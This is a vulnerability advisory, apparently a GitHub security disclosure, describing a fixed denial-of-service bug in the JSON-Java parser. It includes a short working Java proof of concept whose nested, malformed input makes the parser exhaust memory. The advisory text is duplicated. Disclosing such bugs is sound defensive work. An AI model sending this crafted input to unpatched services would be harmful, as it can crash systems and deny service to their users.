Summary
A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.
Severity
High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.
Proof of Concept
package orgjsonbug;
import org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public class Bug {
private static String makeNested(int depth) {
if (depth == 0) {
return "{\"a\":1}";
}
return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
}
public static void main(String[] args) {
String input = makeNested(30);
System.out.printf("Input string has length %d: %s\n", input.length(), input);
JSONObject output = new JSONObject(input);
System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
}
}When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.
Further Analysis
The issue is fixed by this PR.
Timeline
Date reported: 07/14/2023
Date fixed:
Date disclosed: 10/12/2023
References
eamonnmcmanus Finder
Summary
A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using
\to escape special characters, including\itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of\characters in the escaped string.Severity
High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.
Proof of Concept
When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.
Further Analysis
The issue is fixed by this PR.
Timeline
Date reported: 07/14/2023
Date fixed:
Date disclosed: 10/12/2023
References